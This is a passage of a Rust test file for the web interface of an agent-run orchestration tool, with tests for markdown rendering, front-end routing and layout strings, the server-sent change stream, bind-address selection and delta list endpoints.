12017 strong("/reviews_md/0/reviewers/0/summary");
12018 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12019 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12020 assert!(f[1].to_string().contains("strong"));
12021 strong("/reviews_md/0/reconsideration/0");
12022 strong("/reviews_md/0/fix/notes");
12023 strong("/reviews_md/0/fix/rejected/0");
12024 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12025 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12026 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12028 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12029 }
12030
12031 #[test]
12032 fn a_run_without_advice_has_no_advice_md() {
12033 let state = RunState::new(
12034 std::path::PathBuf::from("/repo"),
12035 "main".to_owned(),
12036 "abc".to_owned(),
12037 "x".to_owned(),
12038 crate::config::Config::default(),
12039 );
12040 let p = run_prose_md(&state);
12041 assert!(p.advice_md.is_none());
12042 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12043 }
12044
12045 #[test]
12046 fn a_question_view_carries_markdown_for_each_thread_turn() {
12047 let home = TempDir::new().unwrap();
12048 let store = ask::Questions::at(home.path().join("questions"));
12049 let mut q = Question::new(
12050 "run".to_owned(),
12051 "implement".to_owned(),
12052 "impl-A".to_owned(),
12053 "which?".to_owned(),
12054 String::new(),
12055 Vec::new(),
12056 );
12057 q.say("plain words").unwrap();
12058 q.reply("use **this**", Vec::new()).unwrap();
12059 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12060 let bodies = &v["thread_bodies_md"];
12061 assert_eq!(bodies.as_array().unwrap().len(), 2);
12062 assert!(!bodies[0].to_string().contains("strong"));
12063 assert!(bodies[1].to_string().contains("strong"));
12064 }
12065
12066 #[test]
12067 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12068 let home = TempDir::new().unwrap();
12069 let store = ask::Questions::at(home.path().join("questions"));
12070 let mut q = Question::new(
12071 "run".to_owned(),
12072 "conduct".to_owned(),
12073 "conduct".to_owned(),
12074 "which?".to_owned(),
12075 String::new(),
12076 Vec::new(),
12077 );
12078 q.say("plain words").unwrap();
12079 q.thread.push(ask::Turn {
12080 who: ask::Who::Agent,
12081 body: "Settled as `merge`".to_owned(),
12082 at: jiff::Timestamp::now(),
12083 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12084 });
12085 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12086 let notes = &v["thread_notes_md"];
12087 assert_eq!(notes.as_array().unwrap().len(), 2);
12088 assert!(notes[0].is_null());
12089 let text = notes[1].to_string();
12090 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12091 assert!(APP_JS.contains("ask-turn-note"));
12092 }
12093
12094 #[test]
12095 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12096 assert!(APP_JS.contains("function landView(run, raw) {"));
12100 assert!(
12101 APP_JS.contains(
12102 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12103 )
12104 );
12105 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12106 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12107 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12108 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12109 }
12110
12111 #[test]
12112 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12113 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12114 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12115 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12116 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12117 }
12118
12119 #[test]
12120 fn review_rounds_label_a_distinct_verified_head() {
12121 assert!(APP_JS.contains("round.verified_head"));
12122 assert!(APP_JS.contains("verified HEAD"));
12123 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12124 }
12125
12126 #[test]
12127 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12128 assert!(APP_JS.contains("blocked: { glyph:"));
12132 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12133
12134 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12138 assert!(
12139 APP_JS.contains(
12140 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12141 ),
12142 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12143 );
12144 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12148
12149 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12153 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12154 assert!(
12155 APP_JS.contains("location.hash = \"#/questions\";"),
12156 "a question node must jump to the Questions screen, not pretend to be a task"
12157 );
12158
12159 assert!(APP_JS.contains("Resolved questions"));
12162 assert!(APP_JS.contains("r.answersList.append("));
12163 assert!(APP_CSS.contains(".task-answers"));
12164 {
12165 let start = APP_JS
12166 .find("function updateTalkTaskRow")
12167 .expect("updateTalkTaskRow");
12168 let body = &APP_JS[start..];
12169 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12170 assert!(
12171 body.contains(
12172 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12173 ),
12174 "a chat-filed task row must link to the task page"
12175 );
12176 assert!(
12177 !body.contains("#/runs/") && !body.contains("#/queue/"),
12178 "the row must not branch to a run or the queue card"
12179 );
12180 assert!(APP_CSS.contains(".talk-task-link"));
12181 }
12182 }
12183
12184 #[test]
12185 fn a_task_notification_links_to_the_task_page() {
12186 let start = APP_JS
12188 .find("function noticeLink(")
12189 .expect("noticeLink exists");
12190 let body = &APP_JS[start..];
12191 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12192 assert!(
12193 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12194 "a task notice's link must target the task page"
12195 );
12196 assert!(
12197 !body.contains("#/queue/"),
12198 "regression: the task link must not go back to the Backlog route"
12199 );
12200 assert!(
12201 APP_JS.contains(
12202 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12203 ),
12204 "`#/tasks/<id>` must parse into the task route"
12205 );
12206
12207 assert!(
12209 APP_JS.contains(
12210 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12211 ),
12212 "`#/queue/<id>` must parse into a route carrying that id"
12213 );
12214
12215 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12219 assert!(APP_JS.contains("function consumeQueueFocus()"));
12220 assert!(APP_JS.contains("jumpToTask(id)"));
12221 }
12222
12223 #[test]
12226 fn chat_rows_put_the_title_alone_on_the_first_line() {
12227 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12228 assert!(APP_CSS.contains(
12229 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12230 ));
12231 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12232 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12233 }
12234
12235 #[test]
12236 fn run_rows_put_the_title_alone_on_the_first_line() {
12237 assert!(
12238 APP_CSS.contains(
12239 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12240 )
12241 );
12242 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12243 assert!(APP_JS.contains("class: \"card run-card\""));
12244 assert!(APP_JS.contains("class: \"repo run-id\""));
12245 }
12246
12247 #[test]
12251 fn wide_screens_show_list_and_preview_side_by_side() {
12252 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12254 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12255 assert!(APP_CSS.contains("main[data-split]"));
12256 assert!(APP_CSS.contains("body[data-split]"));
12257
12258 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12260 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12261 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12262 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12263 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12264
12265 assert!(APP_JS.contains("function markSelected() {"));
12267 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12268 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12269 assert!(
12271 APP_CSS.contains(
12272 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12273 )
12274 );
12275
12276 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12278 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12279 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12280 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12281
12282 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12286 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12287 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12288 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12289
12290 assert!(APP_JS.contains("sandbox: \"\""));
12292 assert!(!APP_JS.contains("sandbox: \"allow"));
12293 }
12294
12295 #[test]
12296 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12297 assert!(
12306 APP_JS.contains(
12307 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12308 ),
12309 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12310 recursive renderQueue() call has nothing left to jump to"
12311 );
12312 assert!(
12313 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12314 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12315 arrives later still gets it"
12316 );
12317 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12318 assert!(APP_JS.contains("is not in the current Backlog."));
12319 assert!(APP_JS.contains("li.card[data-task-id=\""));
12320 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12321 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12322 assert!(APP_CSS.contains(".card-permalink"));
12323 assert!(APP_CSS.contains(".queue-focus-status"));
12324 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12325 }
12326
12327 #[test]
12328 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12329 assert!(
12337 APP_JS.contains(
12338 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12339 ),
12340 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12341 );
12342 }
12343
12344 #[test]
12345 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12346 assert!(
12347 APP_JS.contains("round.verified_head !== round.head"),
12348 "a round that verified an earlier commit must be visibly distinct from one that \
12349 verified the head reviewers are looking at now"
12350 );
12351 assert!(
12352 APP_JS.contains("round.verified_at"),
12353 "when a check ran must be on the wire, not just which commit"
12354 );
12355 assert!(
12356 APP_JS.contains("resource_blocked"),
12357 "a command magi never got to run (shared build cache contention) must not render \
12358 the same as a command that ran and failed"
12359 );
12360 }
12361
12362 #[test]
12363 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12364 assert!(
12372 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12373 "every KPI tile built through statusTile() must route its click through \
12374 openRunsFiltered, the single place that sets the Runs filter"
12375 );
12376 for (label, status) in [
12377 ("Merged", "merged"),
12378 ("Ready", "ready"),
12379 ("Blocked", "blocked"),
12380 ("Stalled", "stalled"),
12381 ] {
12382 let call = format!("statusTile(\"{label}\", t.{status}, ");
12383 assert!(
12384 APP_JS.contains(&call),
12385 "expected the {label} KPI tile built via {call}..."
12386 );
12387 assert!(
12388 APP_JS.contains(&format!("status === \"{status}\"")),
12389 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12390 compare a run against, not one invented only for the stats tile"
12391 );
12392 }
12393 assert!(
12394 APP_JS.contains("function openRunsFiltered(status)"),
12395 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12396 );
12397 assert!(
12398 APP_JS.contains(
12399 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12400 ),
12401 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12402 );
12403 assert!(
12411 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12412 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12413 hashchange event that may never fire"
12414 );
12415 }
12416
12417 #[test]
12418 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12419 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12425 assert!(
12426 APP_JS.contains(
12427 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12428 ),
12429 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12430 guard for an incompatible tree section"
12431 );
12432 }
12433
12434 #[test]
12435 fn every_stats_queue_tile_names_a_real_queue_section() {
12436 assert!(
12442 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12443 "every queue tile built through sectionTile() must route its click through \
12444 openQueueSectionFocus"
12445 );
12446 for key in ["upnext", "running", "done", "held", "blocked"] {
12447 assert!(
12448 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12449 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12450 );
12451 }
12452 for line in [
12456 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12457 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12458 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12459 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12460 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12461 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12462 ] {
12463 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12464 }
12465 }
12466
12467 #[test]
12468 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12469 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12476 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12477 assert!(APP_JS.contains("function revealQueueSection(details)"));
12478 assert!(
12479 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12480 "renderQueue() must consume both focus channels on every pass"
12481 );
12482 assert!(
12483 APP_JS.contains(
12484 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12485 ),
12486 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12487 the recursive renderQueue() call has nothing left to reveal"
12488 );
12489 assert!(
12490 APP_JS.contains(
12491 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12492 ),
12493 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12494 );
12495 assert!(
12503 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12504 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12505 hashchange event that may never fire"
12506 );
12507 }
12508
12509 #[tokio::test]
12510 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12511 let f = Fixture::start().await;
12512
12513 let mut socket = tokio::net::TcpStream::connect(f.addr)
12514 .await
12515 .expect("connect");
12516 socket
12517 .write_all(
12518 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12519 )
12520 .await
12521 .expect("write request");
12522
12523 let mut seen = String::new();
12526 let mut buf = [0u8; 1024];
12527 while !seen.contains("event: change") {
12528 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12529 .await
12530 .expect("the stream must speak within five seconds")
12531 .expect("read");
12532 assert!(read > 0, "the server closed the change stream: {seen}");
12533 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12534 }
12535
12536 assert!(
12537 seen.to_lowercase()
12538 .contains("content-type: text/event-stream"),
12539 "the browser only reconnects automatically for a real SSE stream: {seen}"
12540 );
12541 let data = seen
12542 .lines()
12543 .find_map(|l| l.strip_prefix("data:"))
12544 .expect("a data line");
12545 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12546 assert!(
12547 payload["queue_rev"].is_u64()
12548 && payload["runs_rev"].is_u64()
12549 && payload["questions_rev"].is_u64()
12550 && payload["talks_rev"].is_u64()
12551 && payload["notifications_rev"].is_u64()
12552 && payload["loop_rev"].is_u64(),
12553 "the client needs one revision per store to know what to refetch, \
12554 and `talks_rev` is the only notification a standing talk gets - a \
12555 phone whose radio slept through a turn learns about it here, as \
12556 does one whose operator started the loop from another device: \
12557 {payload}"
12558 );
12559
12560 let health = f.get("/api/health").await.json();
12567 for key in [
12568 "queue_rev",
12569 "runs_rev",
12570 "questions_rev",
12571 "talks_rev",
12572 "notifications_rev",
12573 "loop_rev",
12574 ] {
12575 assert!(
12576 health[key].is_u64(),
12577 "health is the change stream's fallback and is missing `{key}`: {health}"
12578 );
12579 }
12580 }
12581
12582 #[tokio::test]
12583 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
12584 let f = Fixture::start().await;
12585 let before = f.get("/api/health").await.json()["talks_rev"]
12586 .as_u64()
12587 .expect("talks_rev");
12588
12589 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
12590 std::thread::sleep(Duration::from_millis(10));
12591 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
12592 on_disk.turns.push(crate::talk::Turn {
12593 who: crate::talk::Who::Operator,
12594 body: "a new turn".to_owned(),
12595 at: Timestamp::now(),
12596 attachments: Vec::new(),
12597 usage: None,
12598 });
12599 f.talks().put(&mut on_disk).expect("record a turn");
12600
12601 let after = f.get("/api/health").await.json()["talks_rev"]
12602 .as_u64()
12603 .expect("talks_rev");
12604 assert_ne!(
12605 before, after,
12606 "a phone must be able to notice a talk's reply without polling every store"
12607 );
12608 }
12609
12610 #[test]
12611 fn bind_reads_back_from_the_spelling_the_cli_prints() {
12612 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
12616 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
12617 }
12618 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
12619 assert!("everywhere".parse::<Bind>().is_err());
12620 }
12621
12622 #[test]
12623 fn an_explicit_bind_address_is_taken_verbatim() {
12624 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
12625
12626 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
12627
12628 assert_eq!(addr, asked);
12629 assert!(
12630 warning.is_none(),
12631 "an operator who named an address gets no lecture"
12632 );
12633 }
12634
12635 #[test]
12636 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
12637 let (addr, warning) = resolve_bind(&Bind::Auto);
12638
12639 match addr {
12646 IpAddr::V4(ip) if is_tailnet(&ip) => {
12647 assert!(warning.is_none(), "a tailnet address needs no warning");
12648 }
12649 other => {
12650 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
12651 let warning = warning.expect("a fallback has to explain itself");
12652 assert!(
12653 warning.contains("127.0.0.1") && warning.contains("local-only"),
12654 "the warning says what happened and what it costs: {warning}"
12655 );
12656 }
12657 }
12658 }
12659
12660 #[test]
12661 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
12662 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
12666 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
12667 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
12668 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
12669 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
12670 }
12671
12672 #[test]
12673 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
12674 let ids = vec![
12675 "20260902-140501-aaaa".to_owned(),
12676 "20260902-140502-aabb".to_owned(),
12677 ];
12678
12679 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
12680 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
12681 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
12682
12683 assert_eq!(missing.status, StatusCode::NOT_FOUND);
12684 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
12685 assert_eq!(short, "20260902-140502-aabb");
12686 }
12687 #[tokio::test]
12688 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
12689 let fx = Fixture::start().await;
12695 let id = panel(
12696 &fx,
12697 "<img src=\"shot.png\">",
12698 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12699 );
12700
12701 let doc = fx
12703 .get(&format!("/api/questions/{id}/panel/index.html"))
12704 .await;
12705 assert_eq!(doc.status, 200, "{}", doc.body);
12706 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12707
12708 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12709 assert_eq!(sibling.status, 200, "{}", sibling.body);
12710 assert_eq!(sibling.header("content-type"), Some("image/png"));
12711 assert_eq!(
12712 sibling.header("content-security-policy"),
12713 Some(PANEL_CSP),
12714 "the sibling route must carry the same policy as the asset route"
12715 );
12716
12717 assert_eq!(
12720 fx.head(&format!("/api/questions/{id}/panel")).await.status,
12721 200
12722 );
12723 }
12724
12725 #[test]
12726 fn delta_stamps_cover_add_update_remove_and_noop() {
12727 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
12728 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
12729 let delta = diff_stamps(&before, &after, 42);
12730 assert_eq!(delta.base, 42);
12731 assert_eq!(delta.changed, ["b", "c"]);
12732 assert_eq!(delta.removed, ["a"]);
12733 let same = diff_stamps(&after, &after, 43);
12734 assert!(same.changed.is_empty() && same.removed.is_empty());
12735 assert_ne!(stamps_revision(&before), stamps_revision(&after));
12736 let nanos: Stamps = [("b".into(), (2, 20))].into();
12737 let same_ms: Stamps = [("b".into(), (3, 20))].into();
12738 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
12739 assert_eq!(stamps_revision(&Stamps::new()), 0);
12740 }
12741
12742 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
12743 std::fs::create_dir_all(home.join("runs")).unwrap();
12744 Arc::new(Ui::new(
12745 Queue::at(home.join("queue")),
12746 Questions::at(home.join("questions")),
12747 Talks::at(home.join("talks")),
12748 home.join("runs"),
12749 home.to_owned(),
12750 PathBuf::from("/repo/magi"),
12751 ))
12752 }
12753
12754 #[tokio::test]
12755 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
12756 let home = TempDir::new().unwrap();
12757 let ui = delta_test_ui(home.path());
12758 let mut task = Task::new(
12759 "stream task".into(),
12760 "text".into(),
12761 PathBuf::from("/repo"),
12762 Source::Human,
12763 );
12764 ui.queue.put(&mut task).unwrap();
12765 let response = events(State(ui.clone())).await.into_response();
12766 let mut stream = response.into_body().into_data_stream();
12767 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
12768 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
12769 .await
12770 .unwrap()
12771 .unwrap()
12772 .unwrap();
12773 let text = String::from_utf8(chunk.to_vec()).unwrap();
12774 let data = text
12775 .lines()
12776 .find_map(|line| {
12777 line.strip_prefix("data: ")
12778 .or_else(|| line.strip_prefix("data:"))
12779 })
12780 .unwrap();
12781 serde_json::from_str(data).unwrap()
12782 }
12783 let initial = change(&mut stream).await;
12784 assert!(initial.get("queue_delta").is_none());
12785 task.instruction.push_str(" changed");
12786 ui.queue.put(&mut task).unwrap();
12787 let updated = change(&mut stream).await;
12788 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
12789 assert_eq!(
12790 updated["queue_delta"]["changed"],
12791 serde_json::json!([task.id])
12792 );
12793 assert_eq!(
12794 updated["queue_rev"].as_u64(),
12795 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
12796 );
12797 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
12798 let removed = change(&mut stream).await;
12799 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
12800 assert_eq!(
12801 removed["queue_delta"]["removed"],
12802 serde_json::json!([task.id])
12803 );
12804 }
12805
12806 #[tokio::test]
12807 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12808 let home = TempDir::new().unwrap();
12809 let ui = delta_test_ui(home.path());
12810 let queue = ui.queue.clone();
12811 let query = |ids: Option<&str>| {
12812 Query(ListQuery {
12813 limit: Some(2),
12814 ids: ids.map(str::to_owned),
12815 })
12816 };
12817 let mut root = Task::new(
12818 "root".into(),
12819 "instruction".into(),
12820 PathBuf::from("/repo"),
12821 Source::Human,
12822 );
12823 queue.put(&mut root).unwrap();
12824 let mut blocked = Task::new(
12825 "blocked".into(),
12826 "instruction".into(),
12827 PathBuf::from("/repo"),
12828 Source::Human,
12829 );
12830 blocked.block(vec![root.id.clone()], None);
12831 queue.put(&mut blocked).unwrap();
12832 let whole =
12833 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12834 .unwrap();
12835 let subset = serde_json::to_value(
12836 queue_list(State(ui.clone()), query(Some(&root.id)))
12837 .await
12838 .unwrap()
12839 .0,
12840 )
12841 .unwrap();
12842 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12843 let blockers = serde_json::to_value(
12844 queue_list(State(ui.clone()), query(Some("")))
12845 .await
12846 .unwrap()
12847 .0,
12848 )
12849 .unwrap();
12850 assert_eq!(blockers.as_array().unwrap().len(), 1);
12851 assert_eq!(blockers[0]["id"], blocked.id);
12852 assert_eq!(
12853 blockers[0]["waits_on"],
12854 whole
12855 .as_array()
12856 .unwrap()
12857 .iter()
12858 .find(|row| row["id"] == blocked.id)
12859 .unwrap()["waits_on"]
12860 );
12861
12862 for id in [
12863 "20260902-140501-aaaa",
12864 "20260902-140502-bbbb",
12865 "20260902-140503-cccc",
12866 ] {
12867 write_run(&ui.runs, id, RunStatus::Merged);
12868 }
12869 let old = serde_json::to_value(
12870 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
12871 .await
12872 .unwrap()
12873 .0,
12874 )
12875 .unwrap();
12876 assert!(
12877 old.as_array().unwrap().is_empty(),
12878 "older updates must not enter the window"
12879 );
12880 let newest = serde_json::to_value(
12881 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
12882 .await
12883 .unwrap()
12884 .0,
12885 )
12886 .unwrap();
12887 assert_eq!(newest.as_array().unwrap().len(), 1);
12888 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
12889
12890 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
12891 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
12892 let talks = serde_json::to_value(
12893 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
12894 .await
12895 .unwrap()
12896 .0,
12897 )
12898 .unwrap();
12899 assert_eq!(talks.as_array().unwrap().len(), 1);
12900 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
12901 assert_eq!(
12902 serde_json::to_value(
12903 talks_list(State(ui.clone()), query(Some("")))
12904 .await
12905 .unwrap()
12906 .0
12907 )
12908 .unwrap(),
12909 serde_json::json!([])
12910 );
12911 }
12912
12913 #[tokio::test]
12914 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
12915 async fn delta_payload_benchmark() {
12916 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
12917 let ui = delta_test_ui(&home);
12918 let query = |ids: Option<String>| {
12919 Query(ListQuery {
12920 limit: Some(50),
12921 ids,
12922 })
12923 };
12924 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
12925 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
12926 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
12927 let queue_id = queue
12928 .iter()
12929 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
12930 .unwrap_or(&queue[0])
12931 .task
12932 .id
12933 .clone();
12934 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
12935 .await
12936 .unwrap()
12937 .0;
12938 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
12939 .await
12940 .unwrap()
12941 .0;
12942 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
12943 .await
12944 .unwrap()
12945 .0;
12946 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
12947 eprintln!(
12948 "DELTA_PAYLOAD {}",
12949 serde_json::json!({
12950 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
12951 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
